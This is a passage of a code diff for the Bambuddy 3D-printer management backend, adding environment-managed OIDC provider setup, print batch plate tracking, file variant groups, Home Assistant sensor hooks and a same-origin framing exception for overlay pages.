+        "client_secret": required["BAMBUDDY_OIDC_CLIENT_SECRET"],
+        "scopes": (os.environ.get("BAMBUDDY_OIDC_SCOPES") or "").strip() or "openid email profile",
+        "is_enabled": env_bool("BAMBUDDY_OIDC_ENABLED", True),
+        "auto_create_users": env_bool("BAMBUDDY_OIDC_AUTO_CREATE_USERS", False),
+        "auto_link_existing_accounts": env_bool("BAMBUDDY_OIDC_AUTO_LINK_EXISTING", False),
+        "email_claim": (os.environ.get("BAMBUDDY_OIDC_EMAIL_CLAIM") or "").strip() or "email",
+        "require_email_verified": env_bool("BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED", True),
+        "icon_url": (os.environ.get("BAMBUDDY_OIDC_ICON_URL") or "").strip() or None,
+        "is_autologin": env_bool("BAMBUDDY_OIDC_AUTOLOGIN", False),
+        # A name, not an id: ids are assigned per install, so the same compose
+        # file would point at a different group on every deployment. Resolved
+        # against the database in apply_env_oidc_provider -- the reader has no
+        # session and stays dumb.
+        "default_group": (os.environ.get("BAMBUDDY_OIDC_DEFAULT_GROUP") or "").strip() or None,
+    }
+
+
+# Everything the schema validates and the model stores, except client_secret --
+# that one goes through the property so it is encrypted at rest.
+_APPLIED_FIELDS = (
+    "name",
+    "issuer_url",
+    "client_id",
+    "scopes",
+    "is_enabled",
+    "auto_create_users",
+    "auto_link_existing_accounts",
+    "email_claim",
+    "require_email_verified",
+    "icon_url",
+    "is_autologin",
+    # Written on every boot, so a group that is no longer declared is cleared:
+    # the environment is the whole truth for this row, and the API lock means
+    # a lingering value could not be removed in the UI either.
+    "default_group_id",
+)
+
+
+async def apply_env_oidc_provider(db: AsyncSession) -> None:
+    """Upsert the env-managed provider, or release it when the config is gone.
+
+    Never raises: this runs during startup, and a typo in one variable -- or a
+    DB error on commit -- must not stop the app from booting. A rejected
+    config is logged and skipped.
+    """
+    try:
+        await _apply_env_oidc_provider(db)
+    except Exception as exc:  # noqa: BLE001 -- startup must survive any failure here
+        # Never str(exc): a DB error message can echo a configured value. Class only.
+        logger.error("BAMBUDDY_OIDC_* could not be applied: %s", type(exc).__name__)
+        # A commit may have half-applied; roll back so the shared session is
+        # left clean for the rest of startup. Suppressed because rollback on a
+        # wedged connection can itself raise -- and the whole point here is that
+        # nothing in this path takes the boot down. The session is discarded by
+        # the caller's `async with` regardless.
+        with contextlib.suppress(Exception):
+            await db.rollback()
+
+
+async def _apply_env_oidc_provider(db: AsyncSession) -> None:
+    # Imported here rather than at module scope: app.core is imported by the
+    # models themselves, so a top-level import would be a cycle.
+    from backend.app.models.group import Group
+    from backend.app.models.oidc_provider import OIDCProvider
+    from backend.app.schemas.auth import OIDCProviderCreate
+
+    try:
+        config = read_env_oidc_config()
+    except EnvOIDCConfigError as exc:
+        # Same disposition as a ValidationError or an unmatched DEFAULT_GROUP:
+        # log clearly and leave any running provider as it was. Safe to log the
+        # full message -- EnvOIDCConfigError only ever carries a boolean var.
+        logger.error("BAMBUDDY_OIDC_* config rejected, provider not applied: %s", exc)
+        return
+
+    if config is None:
+        # Nothing to look up by name any more, so the previously managed rows are
+        # found by the flag -- and then released. All of them: the upsert's sweep
+        # should keep that at one, but scalar_one_or_none() would raise
+        # MultipleResultsFound out of the lifespan the moment it isn't, and
+        # losing the boot is too steep a price for an invariant check.
+        released_rows = (
+            (await db.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))).scalars().all()
+        )
+        for released in released_rows:
+            # Disabled, never deleted: user_oidc_links.provider_id is FK ON
+            # DELETE CASCADE, so removing the row would unlink every bound
+            # account and the links would not come back when the variables do.
+            # The flag is cleared as well: with no config behind it, a provider
+            # the API still refuses to edit or delete would be a dead end
+            # reachable only through the database.
+            released.is_enabled = False
+            released.is_env_managed = False
+            # Cleared too, or the released row keeps a latent autologin claim:
+            # update_oidc_provider only re-runs the exclusivity sweep when a
+            # request sets is_autologin=True, so re-enabling this row in the UI
+            # would silently make it the autologin target again.
+            released.is_autologin = False
+            logger.info(
+                "BAMBUDDY_OIDC_* is unset -- provider %r disabled and released to the UI.",
+                released.name,
+            )
+        if released_rows:
+            await db.commit()
+        return
+
+    # Identity is the name, which is unique on the table. Matching on the flag
+    # instead meant an operator who named the env provider after one that
+    # already existed hit that unique constraint during startup -- and this
+    # function runs in the lifespan, so the app would not boot.
+    existing = (await db.execute(select(OIDCProvider).where(OIDCProvider.name == config["name"]))).scalar_one_or_none()
+
+    # Resolved before anything is written, so a name that matches no group
+    # leaves the running provider untouched. Refused rather than defaulted:
+    # falling back would put every auto-created user in Viewers (routes/mfa.py)
+    # for as long as the typo lives, and the API answers 422 for a
+    # default_group_id that does not exist -- env config gets the same answer.
+    group_name = config.pop("default_group", None)
+    if group_name is not None:
+        group = (await db.execute(select(Group).where(Group.name == group_name))).scalar_one_or_none()
+        if group is None:
+            # Spelled out because the two cases differ sharply: an existing
+            # provider keeps running on its last good config, while on a first
+            # boot nothing is created at all and the login page has no SSO
+            # button until the name matches.
+            logger.error(
+                "BAMBUDDY_OIDC_DEFAULT_GROUP=%r matches no group, provider not applied (%s).",
+                group_name,
+                "previous config left running" if existing is not None else "no provider created",
+            )
+            return
+        config["default_group_id"] = group.id
+
+    try:
+        # The same schema the API uses, so env config cannot reach a state the
+        # UI would have refused (notably the SEC-1 auto-link check).
+        validated = OIDCProviderCreate(**config)
+    except ValidationError as exc:
+        # errors(include_input=False) strips the submitted values -- str(exc)
+        # embeds input_value=... and would leak BAMBUDDY_OIDC_CLIENT_SECRET.
+        logger.error(
+            "BAMBUDDY_OIDC_* config rejected, provider not applied: %s",
+            exc.errors(include_input=False),
+        )
+        return
+    except Exception as exc:  # noqa: BLE001 -- any rejection must be survivable
+        # Log only the exception class, never str(exc): an unexpected error here
+        # could carry a configured value in its message. Structural guarantee,
+        # not one contingent on which exceptions the schema validators raise.
+        logger.error("BAMBUDDY_OIDC_* config could not be applied: %s", type(exc).__name__)
+        return
+
+    # Computed before `existing` is reassigned below: a freshly-created row is
+    # not an adoption, and a found row that was already env-managed is a
+    # routine re-apply -- only a found row that the UI created is an adoption.
+    adopted_ui_provider = existing is not None and not existing.is_env_managed
+
+    if existing is None:
+        existing = OIDCProvider(is_env_managed=True)
+        db.add(existing)
+    for field in _APPLIED_FIELDS:
+        setattr(existing, field, getattr(validated, field))
+    existing.client_secret = validated.client_secret
+    existing.is_env_managed = True
+    await db.flush()  # the id is needed by the sweeps below
+
+    # Renaming BAMBUDDY_OIDC_NAME matches nothing, so the row managed until now
+    # stays behind. Left flagged it would keep a stale issuer and secret on the
+    # login page while the API refuses every edit, disable and delete on it
+    # (409) -- the dead end reachable only through the database that the release
+    # path exists to prevent -- and the next release would find two rows and
+    # take the boot down with MultipleResultsFound. Released, not deleted, for
+    # the same cascade reason as everywhere else.
+    await db.execute(
+        update(OIDCProvider)
+        .where(OIDCProvider.id != existing.id, OIDCProvider.is_env_managed.is_(True))
+        .values(is_env_managed=False, is_enabled=False, is_autologin=False)
+    )
+
+    if existing.is_autologin:
+        await db.execute(
+            update(OIDCProvider)
+            .where(OIDCProvider.id != existing.id, OIDCProvider.is_autologin.is_(True))
+            .values(is_autologin=False)
+        )
+    await db.commit()
+    if adopted_ui_provider:
+        logger.warning(
+            "Env-managed OIDC provider %r adopted an existing UI-created provider of the "
+            "same name; its issuer, client and secret are now managed by BAMBUDDY_OIDC_*.",
+            existing.name,
+        )
+    else:
+        logger.info("Env-managed OIDC provider %r applied.", existing.name)

+ 78 - 2
backend/app/main.py

@@ -34,12 +34,14 @@ from backend.app.api.routes import (
     firmware,
     firmware,
     github_backup,
     github_backup,
     groups,
     groups,
+    ha_sensors,
     inventory,
     inventory,
     kprofiles,
     kprofiles,
     labels,
     labels,
     library,
     library,
     library_tags,
     library_tags,
     library_trash,
     library_trash,
+    library_variants,
     local_backup,
     local_backup,
     local_presets,
     local_presets,
     maintenance,
     maintenance,
@@ -96,6 +98,7 @@ from backend.app.services.bambu_ftp import (
 )
 )
 from backend.app.services.bambu_mqtt import PrinterState
 from backend.app.services.bambu_mqtt import PrinterState
 from backend.app.services.github_backup import github_backup_service
 from backend.app.services.github_backup import github_backup_service
+from backend.app.services.ha_sensor_manager import ha_sensor_manager
 from backend.app.services.homeassistant import homeassistant_service
 from backend.app.services.homeassistant import homeassistant_service
 from backend.app.services.library_trash import library_trash_service
 from backend.app.services.library_trash import library_trash_service
 from backend.app.services.local_backup import local_backup_service
 from backend.app.services.local_backup import local_backup_service
@@ -1334,9 +1337,29 @@ async def on_printer_status_change(printer_id: int, state: PrinterState):
     # Include AMS dry_time and tray state values so drying/slot changes trigger broadcasts
     # Include AMS dry_time and tray state values so drying/slot changes trigger broadcasts
     ams_dry_key = tuple(a.get("dry_time", 0) for a in (state.raw_data.get("ams") or [])) if state.raw_data else ()
     ams_dry_key = tuple(a.get("dry_time", 0) for a in (state.raw_data.get("ams") or [])) if state.raw_data else ()
     # Include tray states so load/unload transitions (state 11→10) trigger broadcasts (#784)
     # Include tray states so load/unload transitions (state 11→10) trigger broadcasts (#784)
+    #
+    # The filament identity fields are here because Configure Slot writes
+    # exactly those and nothing else. Re-configuring a slot from PLA to another
+    # brand or colour of PLA leaves id/tray_type/state identical, so the key
+    # matched, this function returned before broadcasting, and the card kept
+    # showing the old filament until the 30s fallback poll or a page reload —
+    # even though the configure route asks the printer for a fresh pushall and
+    # that push does carry the new values. Reset always worked, because it
+    # clears tray_type.
+    #
+    # These fields only change when someone configures a slot or swaps a spool,
+    # so unlike temperature or progress they add no broadcast traffic mid-print.
     ams_tray_key = (
     ams_tray_key = (
         tuple(
         tuple(
-            (t.get("id"), t.get("tray_type", ""), t.get("state"))
+            (
+                t.get("id"),
+                t.get("tray_type", ""),
+                t.get("state"),
+                t.get("tray_color", ""),
+                t.get("tray_info_idx", ""),
+                t.get("tray_sub_brands", ""),
+                t.get("cali_idx"),
+            )
             for a in (state.raw_data.get("ams") or [])
             for a in (state.raw_data.get("ams") or [])
             for t in a.get("tray", [])
             for t in a.get("tray", [])
         )
         )
@@ -5166,6 +5189,18 @@ async def on_print_complete(printer_id: int, data: dict):
         # Post-commit side effects (notifications, MQTT relay, auto-off) use
         # Post-commit side effects (notifications, MQTT relay, auto-off) use
         # their own sessions and have their own error handling — no retry needed.
         # their own sessions and have their own error handling — no retry needed.
         if queue_item_id is not None:
         if queue_item_id is not None:
+            # Batch orders (#342): this run may have been the last one an order
+            # owed. Re-evaluate here rather than lazily on read, so a finished
+            # order reports itself complete without someone opening the page.
+            try:
+                from backend.app.services.print_batch import refresh_batch_status_for_item
+
+                async with async_session() as db:
+                    await refresh_batch_status_for_item(db, queue_item_id)
+                    await db.commit()
+            except Exception as e:
+                logger.warning("[BATCH] Failed to refresh batch status for queue item %s: %s", queue_item_id, e)
+
             # MQTT relay - publish queue job completed
             # MQTT relay - publish queue job completed
             try:
             try:
                 printer_info = printer_manager.get_printer(printer_id)
                 printer_info = printer_manager.get_printer(printer_id)
@@ -5598,6 +5633,10 @@ async def on_print_complete(printer_id: int, data: dict):
                 await write_log_entry(
                 await write_log_entry(
                     db,
                     db,
                     archive_id=archive.id,
                     archive_id=archive.id,
+                    # Captured by _update_queue_status above; None for
+                    # printer-initiated prints with no queue row. Batch
+                    # cost/energy roll-up joins on it (#342).
+                    queue_item_id=queue_item_id,
                     status=_run_status,
                     status=_run_status,
                     print_name=archive.print_name,
                     print_name=archive.print_name,
                     printer_name=p_info.name if p_info else None,
                     printer_name=p_info.name if p_info else None,
@@ -7159,6 +7198,25 @@ async def lifespan(app: FastAPI):
 
 
     await init_db()
     await init_db()
 
 
+    # After migrations, so the is_env_managed column exists. Never raises --
+    # a bad BAMBUDDY_OIDC_* value is logged and skipped rather than blocking
+    # startup (see apply_env_oidc_provider).
+    from backend.app.core.oidc_env import apply_env_oidc_provider
+
+    async with async_session() as oidc_db:
+        await apply_env_oidc_provider(oidc_db)
+
+    # Close out batches that finished before `completed` was a reachable status
+    # (#342). Without this the Batches tab opens on every batch created since
+    # the feature shipped, all still marked active. Never blocks startup.
+    try:
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        async with async_session() as batch_db:
+            await backfill_batch_statuses(batch_db)
+    except Exception as exc:
+        logging.warning("[BATCH] Startup status backfill failed: %s", exc)
+
     # Register an app-scoped httpx client for Bambu Cloud services so
     # Register an app-scoped httpx client for Bambu Cloud services so
     # per-request BambuCloudService instances reuse the same connection pool
     # per-request BambuCloudService instances reuse the same connection pool
     # (important for routes like /cloud/filament-info that chain many
     # (important for routes like /cloud/filament-info that chain many
@@ -7472,6 +7530,9 @@ async def lifespan(app: FastAPI):
     # Start the smart plug scheduler for time-based on/off
     # Start the smart plug scheduler for time-based on/off
     smart_plug_manager.start_scheduler()
     smart_plug_manager.start_scheduler()
 
 
+    # Start the Home Assistant sensor poller (#1148)
+    ha_sensor_manager.start()
+
     # Resume any pending auto-offs that were interrupted by restart
     # Resume any pending auto-offs that were interrupted by restart
     await smart_plug_manager.resume_pending_auto_offs()
     await smart_plug_manager.resume_pending_auto_offs()
 
 
@@ -7550,6 +7611,7 @@ async def lifespan(app: FastAPI):
     # Shutdown
     # Shutdown
     print_scheduler.stop()
     print_scheduler.stop()
     smart_plug_manager.stop_scheduler()
     smart_plug_manager.stop_scheduler()
+    ha_sensor_manager.stop()
     notification_service.stop_digest_scheduler()
     notification_service.stop_digest_scheduler()
     github_backup_service.stop_scheduler()
     github_backup_service.stop_scheduler()
     local_backup_service.stop_scheduler()
     local_backup_service.stop_scheduler()
@@ -7827,6 +7889,18 @@ async def security_headers_middleware(request, call_next):
             "base-uri 'self'; " + _frame_ancestors("'none'")
             "base-uri 'self'; " + _frame_ancestors("'none'")
         )
         )
     else:
     else:
+        # The streaming overlay is embedded same-origin by the URL builder's
+        # preview in Settings (#1422) — the same reason /gcode-viewer allows
+        # 'self' above. Embedding from anywhere else is still refused: 'self'
+        # only permits a framer on this origin, which is Bambuddy's own UI, so
+        # a clickjacking page on another host is blocked exactly as before.
+        # (The overlay draws status over a camera feed and its only interactive
+        # element is the logo link, so there is nothing to bait a click into
+        # even from a same-origin framer.) Cross-origin embedding of the
+        # overlay — Home Assistant on another port — remains what
+        # TRUSTED_FRAME_ORIGINS is for, and _frame_ancestors already folds that
+        # allowlist in.
+        embeddable_same_origin = request.url.path.startswith("/overlay/")
         response.headers["Content-Security-Policy"] = (
         response.headers["Content-Security-Policy"] = (
             "default-src 'self'; "
             "default-src 'self'; "
             f"script-src 'self' 'nonce-{csp_nonce}'; "
             f"script-src 'self' 'nonce-{csp_nonce}'; "
@@ -7837,7 +7911,7 @@ async def security_headers_middleware(request, call_next):
             "font-src 'self' data:; "
             "font-src 'self' data:; "
             "object-src 'none'; "
             "object-src 'none'; "
             "base-uri 'self'; "
             "base-uri 'self'; "
-            "frame-src 'self' http: https:; " + _frame_ancestors("'none'")
+            "frame-src 'self' http: https:; " + _frame_ancestors("'self'" if embeddable_same_origin else "'none'")
         )
         )
     if request.url.scheme == "https":
     if request.url.scheme == "https":
         response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
         response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
@@ -8039,6 +8113,7 @@ app.include_router(cloud.router, prefix=app_settings.api_prefix)
 app.include_router(orca_cloud.router, prefix=app_settings.api_prefix)
 app.include_router(orca_cloud.router, prefix=app_settings.api_prefix)
 app.include_router(local_presets.router, prefix=app_settings.api_prefix)
 app.include_router(local_presets.router, prefix=app_settings.api_prefix)
 app.include_router(smart_plugs.router, prefix=app_settings.api_prefix)
 app.include_router(smart_plugs.router, prefix=app_settings.api_prefix)
+app.include_router(ha_sensors.router, prefix=app_settings.api_prefix)
 app.include_router(print_log.router, prefix=app_settings.api_prefix)
 app.include_router(print_log.router, prefix=app_settings.api_prefix)
 app.include_router(print_queue.router, prefix=app_settings.api_prefix)
 app.include_router(print_queue.router, prefix=app_settings.api_prefix)
 app.include_router(kprofiles.router, prefix=app_settings.api_prefix)
 app.include_router(kprofiles.router, prefix=app_settings.api_prefix)
@@ -8057,6 +8132,7 @@ app.include_router(projects.router, prefix=app_settings.api_prefix)
 app.include_router(library.router, prefix=app_settings.api_prefix)
 app.include_router(library.router, prefix=app_settings.api_prefix)
 app.include_router(library_tags.router, prefix=app_settings.api_prefix)
 app.include_router(library_tags.router, prefix=app_settings.api_prefix)
 app.include_router(library_trash.router, prefix=app_settings.api_prefix)
 app.include_router(library_trash.router, prefix=app_settings.api_prefix)
+app.include_router(library_variants.router, prefix=app_settings.api_prefix)
 app.include_router(slice_jobs.router, prefix=app_settings.api_prefix)
 app.include_router(slice_jobs.router, prefix=app_settings.api_prefix)
 app.include_router(slicer_pipelines.router, prefix=app_settings.api_prefix)
 app.include_router(slicer_pipelines.router, prefix=app_settings.api_prefix)
 app.include_router(pipeline_runs.pipeline_run_create_router, prefix=app_settings.api_prefix)
 app.include_router(pipeline_runs.pipeline_run_create_router, prefix=app_settings.api_prefix)

+ 6 - 2
backend/app/models/__init__.py

@@ -8,7 +8,7 @@ from backend.app.models.filament import Filament
 from backend.app.models.github_backup import GitHubBackupConfig, GitHubBackupLog
 from backend.app.models.github_backup import GitHubBackupConfig, GitHubBackupLog
 from backend.app.models.group import Group, user_groups
 from backend.app.models.group import Group, user_groups
 from backend.app.models.kprofile_note import KProfileNote
 from backend.app.models.kprofile_note import KProfileNote
-from backend.app.models.library import LibraryFile, LibraryFolder
+from backend.app.models.library import FileVariantGroup, LibraryFile, LibraryFolder
 from backend.app.models.local_preset import LocalPreset
 from backend.app.models.local_preset import LocalPreset
 from backend.app.models.location import Location
 from backend.app.models.location import Location
 from backend.app.models.long_lived_token import LongLivedToken
 from backend.app.models.long_lived_token import LongLivedToken
@@ -19,8 +19,9 @@ from backend.app.models.oidc_provider import OIDCProvider, UserOIDCLink
 from backend.app.models.orca_base_cache import OrcaBaseProfile
 from backend.app.models.orca_base_cache import OrcaBaseProfile
 from backend.app.models.pending_upload import PendingUpload
 from backend.app.models.pending_upload import PendingUpload
 from backend.app.models.pipeline_run import PipelineJob, PipelineRun
 from backend.app.models.pipeline_run import PipelineJob, PipelineRun
-from backend.app.models.print_batch import PrintBatch
+from backend.app.models.print_batch import PrintBatch, PrintBatchPlate
 from backend.app.models.printer import Printer
 from backend.app.models.printer import Printer
+from backend.app.models.printer_ha_sensor import PrinterHASensor
 from backend.app.models.printer_sensor_history import PrinterSensorHistory
 from backend.app.models.printer_sensor_history import PrinterSensorHistory
 from backend.app.models.project import Project
 from backend.app.models.project import Project
 from backend.app.models.settings import Settings
 from backend.app.models.settings import Settings
@@ -56,11 +57,14 @@ __all__ = [
     "APIKey",
     "APIKey",
     "AMSSensorHistory",
     "AMSSensorHistory",
     "PrinterSensorHistory",
     "PrinterSensorHistory",
+    "PrinterHASensor",
     "AmsLabel",
     "AmsLabel",
     "PendingUpload",
     "PendingUpload",
     "PrintBatch",
     "PrintBatch",
+    "PrintBatchPlate",
     "LibraryFolder",
     "LibraryFolder",
     "LibraryFile",
     "LibraryFile",
+    "FileVariantGroup",
     "Location",
     "Location",
     "User",
     "User",
     "Group",
     "Group",

+ 53 - 0
backend/app/models/library.py

@@ -60,6 +60,41 @@ class LibraryFolder(Base):
     archive: Mapped["PrintArchive | None"] = relationship()
     archive: Mapped["PrintArchive | None"] = relationship()
 
 
 
 
+class FileVariantGroup(Base):
+    """A set of library files that are the same job sliced for different printers.
+
+    Members are peers, not a source/output hierarchy. The group answers one
+    question — "which of these files goes to an H2S, and which to an H2C" — and
+    both open features need that answer from opposite ends: the print queue
+    picks the printer and needs the matching file (#671), the File Manager's
+    print action has the printer already and needs the same match (#2570).
+
+    The group deliberately stores no model information of its own. Each
+    member's target model comes from its own ``file_metadata['sliced_for_model']``,
+    parsed out of the 3MF, so a group can never disagree with the files it
+    contains. It also carries no pointer to an unsliced source file: that is a
+    display concern for the grouped File Manager listing, which is not built.
+
+    Deleting a group ungroups its files rather than deleting them (the member
+    side is ON DELETE SET NULL) — every member is independently printable.
+    """
+
+    __tablename__ = "file_variant_groups"
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    name: Mapped[str] = mapped_column(String(255))
+
+    created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+    updated_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now(), onupdate=func.now())
+    created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
+
+    files: Mapped[list["LibraryFile"]] = relationship(
+        back_populates="variant_group",
+        order_by="LibraryFile.variant_position",
+    )
+    created_by: Mapped["User | None"] = relationship()
+
+
 class LibraryFile(Base):
 class LibraryFile(Base):
     """File stored in the library."""
     """File stored in the library."""
 
 
@@ -98,6 +133,23 @@ class LibraryFile(Base):
     source_type: Mapped[str | None] = mapped_column(String(32), nullable=True)
     source_type: Mapped[str | None] = mapped_column(String(32), nullable=True)
     source_url: Mapped[str | None] = mapped_column(String(512), nullable=True, index=True)
     source_url: Mapped[str | None] = mapped_column(String(512), nullable=True, index=True)
 
 
+    # Variant grouping (#671 / #2570). A file belongs to at most one group of
+    # "same job, sliced for a different printer" siblings. SET NULL on group
+    # delete: ungrouping must never take the files with it. ``variant_position``
+    # is the user's priority order within the group — when two printers are idle
+    # at the same scheduler tick, the lowest position wins, so the pick is
+    # reproducible instead of depending on which match the scheduler found first.
+    variant_group_id: Mapped[int | None] = mapped_column(
+        ForeignKey("file_variant_groups.id", ondelete="SET NULL"), nullable=True, index=True
+    )
+    variant_position: Mapped[int] = mapped_column(Integer, default=0, server_default="0")
+    # User's answer to "which printer is this for", for a file that does not say.
+    # Files imported before Bambuddy parsed ``sliced_for_model`` — and raw .gcode —
+    # declare nothing, and without this they could never be grouped. Deliberately
+    # NOT written into ``file_metadata``: that holds what was parsed out of the
+    # file, and a user's assertion must not become indistinguishable from it.
+    variant_target_model: Mapped[str | None] = mapped_column(String(50), nullable=True)
+
     # User tracking (Issue #206)
     # User tracking (Issue #206)
     created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
     created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
 
 
@@ -122,6 +174,7 @@ class LibraryFile(Base):
     folder: Mapped["LibraryFolder | None"] = relationship(back_populates="files")
     folder: Mapped["LibraryFolder | None"] = relationship(back_populates="files")
     project: Mapped["Project | None"] = relationship()
     project: Mapped["Project | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
+    variant_group: Mapped["FileVariantGroup | None"] = relationship(back_populates="files")
     # Tags (#1268). M2M via library_file_tags. Loaded explicitly via
     # Tags (#1268). M2M via library_file_tags. Loaded explicitly via
     # ``selectinload`` in list_files so each row in the listing carries its
     # ``selectinload`` in list_files so each row in the listing carries its
     # chip set without N+1 fetches.
     # chip set without N+1 fetches.

+ 3 - 0
backend/app/models/notification.py

@@ -82,6 +82,9 @@ class NotificationProvider(Base):
     on_ams_ht_humidity_high = Column(Boolean, default=False)  # AMS-HT humidity above threshold
     on_ams_ht_humidity_high = Column(Boolean, default=False)  # AMS-HT humidity above threshold
     on_ams_ht_temperature_high = Column(Boolean, default=False)  # AMS-HT temperature above threshold
     on_ams_ht_temperature_high = Column(Boolean, default=False)  # AMS-HT temperature above threshold
 
 
+    # Event triggers - Home Assistant sensors bound to a printer (#1148)
+    on_ha_sensor_alert = Column(Boolean, default=False)  # Bound HA sensor entered its alert state
+
     # Event triggers - Build plate detection
     # Event triggers - Build plate detection
     on_plate_not_empty = Column(Boolean, default=True)  # Objects detected on plate before print
     on_plate_not_empty = Column(Boolean, default=True)  # Objects detected on plate before print
     # Off by default: fires after every print, alongside the print-complete alert (#2525)
     # Off by default: fires after every print, alongside the print-complete alert (#2525)

+ 6 - 0
backend/app/models/notification_template.py

@@ -121,6 +121,12 @@ DEFAULT_TEMPLATES = [
         "title_template": "Bed Cooled",
         "title_template": "Bed Cooled",
         "body_template": "{printer}: Bed cooled to {bed_temp}°C (threshold: {threshold}°C)",
         "body_template": "{printer}: Bed cooled to {bed_temp}°C (threshold: {threshold}°C)",
     },
     },
+    {
+        "event_type": "ha_sensor_alert",
+        "name": "Home Assistant Sensor Alert",
+        "title_template": "Sensor Alert",
+        "body_template": "{printer}: {sensor} is {state}",
+    },
     {
     {
         "event_type": "first_layer_complete",
         "event_type": "first_layer_complete",
         "name": "First Layer Complete",
         "name": "First Layer Complete",

+ 4 - 0
backend/app/models/oidc_provider.py

@@ -128,6 +128,10 @@ class OIDCProvider(Base):
     # authorize-URL fetch fails or times out, and ``/login?fallback=local``
     # authorize-URL fetch fails or times out, and ``/login?fallback=local``
     # plus ``BAMBUDDY_LOCAL_LOGIN=true`` provide a documented recovery path.
     # plus ``BAMBUDDY_LOCAL_LOGIN=true`` provide a documented recovery path.
     is_autologin: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
     is_autologin: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
+    # Marks the single provider defined by BAMBUDDY_OIDC_* env vars. Upserted on
+    # startup; UI/API writes to it are rejected. Never delete-recreated (user_oidc_links
+    # FK is ON DELETE CASCADE).
+    is_env_managed: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
 
 
     @property
     @property
     def has_icon(self) -> bool:
     def has_icon(self) -> bool:

+ 58 - 2
backend/app/models/print_batch.py

@@ -1,13 +1,24 @@
 from datetime import datetime
 from datetime import datetime
 
 
-from sqlalchemy import DateTime, ForeignKey, Integer, String, func
+from sqlalchemy import DateTime, ForeignKey, Integer, String, Text, UniqueConstraint, func
 from sqlalchemy.orm import Mapped, mapped_column, relationship
 from sqlalchemy.orm import Mapped, mapped_column, relationship
 
 
 from backend.app.core.database import Base
 from backend.app.core.database import Base
 
 
 
 
 class PrintBatch(Base):
 class PrintBatch(Base):
-    """Batch grouping for multiple queue items created from the same file."""
+    """Batch grouping for multiple queue items created from the same file.
+
+    A batch carries the *intent* — how many of each plate are wanted — in its
+    :class:`PrintBatchPlate` rows, while the queue items it spawned carry what
+    was actually dispatched. Keeping the two apart is what lets a failed print
+    still count as owed work: the plate row's ``quantity_target`` stays put
+    while the failed item lands in the "failed" bucket, so ``remaining`` goes
+    back up instead of the order silently under-delivering (#342).
+
+    Batches created before plate rows existed simply have none; every consumer
+    falls back to deriving progress from the queue items alone.
+    """
 
 
     __tablename__ = "print_batches"
     __tablename__ = "print_batches"
 
 
@@ -26,8 +37,17 @@ class PrintBatch(Base):
     # Status: active, completed, cancelled
     # Status: active, completed, cancelled
     status: Mapped[str] = mapped_column(String(20), default="active")
     status: Mapped[str] = mapped_column(String(20), default="active")
 
 
+    # Optional link to a Project, which owns the heavier planning metadata
+    # (BOM, attachments, tags). The batch keeps only the two fields that are
+    # useless without it — a date and free text — so an order doesn't force
+    # the user to create a Project first.
+    project_id: Mapped[int | None] = mapped_column(ForeignKey("projects.id", ondelete="SET NULL"), nullable=True)
+    due_date: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
+    notes: Mapped[str | None] = mapped_column(Text, nullable=True)
+
     # Timestamps
     # Timestamps
     created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
     created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+    completed_at: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
 
 
     # User tracking
     # User tracking
     created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
     created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
@@ -37,6 +57,42 @@ class PrintBatch(Base):
     library_file: Mapped["LibraryFile | None"] = relationship()
     library_file: Mapped["LibraryFile | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
     queue_items: Mapped[list["PrintQueueItem"]] = relationship(back_populates="batch")
     queue_items: Mapped[list["PrintQueueItem"]] = relationship(back_populates="batch")
+    plates: Mapped[list["PrintBatchPlate"]] = relationship(
+        back_populates="batch",
+        cascade="all, delete-orphan",
+        order_by="PrintBatchPlate.sort_order",
+    )
+
+
+class PrintBatchPlate(Base):
+    """How many runs of one plate a batch still owes.
+
+    ``plate_id`` is the plate index within the source 3MF, or NULL for a
+    single-plate file / whole-file print — the same convention
+    ``PrintQueueItem.plate_id`` uses, so progress can be derived by grouping
+    the batch's items on that column.
+    """
+
+    __tablename__ = "print_batch_plates"
+    __table_args__ = (UniqueConstraint("batch_id", "plate_id", name="uq_batch_plate"),)
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    batch_id: Mapped[int] = mapped_column(
+        ForeignKey("print_batches.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+
+    plate_id: Mapped[int | None] = mapped_column(Integer, nullable=True)
+    plate_name: Mapped[str | None] = mapped_column(String(255), nullable=True)
+
+    # How many runs of this plate the order wants. Zero is legal — a plate the
+    # user explicitly marked "not required" keeps its row so it can be raised
+    # later without re-creating the order.
+    quantity_target: Mapped[int] = mapped_column(Integer, default=1, nullable=False)
+
+    # Display order; mirrors the plate order in the source file.
+    sort_order: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    batch: Mapped["PrintBatch"] = relationship(back_populates="plates")
 
 
 
 
 from backend.app.models.archive import PrintArchive  # noqa: E402
 from backend.app.models.archive import PrintArchive  # noqa: E402

+ 7 - 0
backend/app/models/print_log.py

@@ -24,6 +24,13 @@ class PrintLogEntry(Base):
     archive_id: Mapped[int | None] = mapped_column(
     archive_id: Mapped[int | None] = mapped_column(
         ForeignKey("print_archives.id", ondelete="SET NULL"), nullable=True, index=True
